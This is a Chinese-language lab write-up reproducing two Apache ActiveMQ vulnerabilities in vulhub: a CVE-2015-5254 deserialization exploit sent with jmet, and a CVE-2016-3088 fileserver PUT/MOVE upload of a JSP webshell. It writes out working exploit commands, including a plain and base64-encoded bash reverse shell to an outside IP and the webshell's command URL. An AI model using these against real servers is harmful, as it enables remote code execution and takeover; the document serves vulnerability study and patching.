简介
漏洞环境:不做额外说明,漏洞环境均为vulhub
参考链接:
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
activemq存在两个默认端口,8161是后台管理系统,61616是给java用的tcp端口。
CVE-2015-5254
参考链接:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞影响范围:
- Apache ActiveMQ 5.13.0之前的版本
漏洞复现
启动环境。
访问http://139.198.172.202:8161/admin/,默认账户和密码均为admin
。
漏洞利用过程共有三步:
- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送至目标
61616
端口 - 访问web管理页面,读取消息,触发漏洞
使用jmet
进行漏洞利用,下载jmet
:wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
,在同目录下创建external
文件夹,否则可能会爆文件夹不存在的错误(但是我没有遇到欸)。
创建一个消息,并发送到服务端,命令如下:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 139.198.172.202 61616
如果没有报错,发送完成后,会给目标ActiveMQ添加一个名为事件的队列,可以我们通过 http://139.198.172.202:8161/admin/browse.jsp?JMSDestination=event 看到这个队列中所有消息:
点击查看这条消息,即可触发漏洞。点击消息并进入容器查看结果。
可以看到/tmp/success
文件已被创建。
进行shell反弹,nc开启监听,执行如下命令:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/139.198.172.202/1234 0>&1" -Yp ROME 139.198.172.202 61616
其中,需要对bash -i >& /dev/tcp/139.198.172.202/1234 0>&1
进行base64
编码,网上说这是为了绕过java机制,却没说是什么机制,有点摸不着头脑。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk4LjE3Mi4yMDIvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 139.198.172.202 61616
漏洞修复
- 更新到没有漏洞的版本
漏洞利用前提是管理员得访问攻击者伪造的事件才能利用成功,不知道生产环境下,事件多不多,如果比较多,还是比较看脸的。
CVE-2016-3088
参考链接:
- https://www.jb51.net/article/167145.htm
- https://blog.csdn.net/yukinorong/article/details/106942279
- https://www.cnblogs.com/xyongsec/p/11459542.html
该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
漏洞影响版本:
- Apache ActiveMQ 5.0.0 - 5.13.2
漏洞复现
启动环境。
访问http://139.198.172.202:8161/admin/
,默认账户和密码均为admin
。
获取系统当前路径:http://139.198.172.202:8161/admin/test/systemProperties.jsp 。
刷新页面,并使用burp拦截抓包,修改请求方式、请求URI等用来上传jsp小马。
直接访问该页面,发现该页面直接显示出来,没有被解析,说明fileserver
目录下没有执行权限。
通过MOVE方式,将其移动到api
目录下(Destination: file:///opt/activemq/webapps/api/1.jsp
),成功会返回204 No Content
。
在jb51
的参考链接中,他利用了一个物理路径泄露的漏洞,但是我没有复现成功。
执行命令。
http://139.198.172.202:8161/api/1.jsp?cmd=id
漏洞修复
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。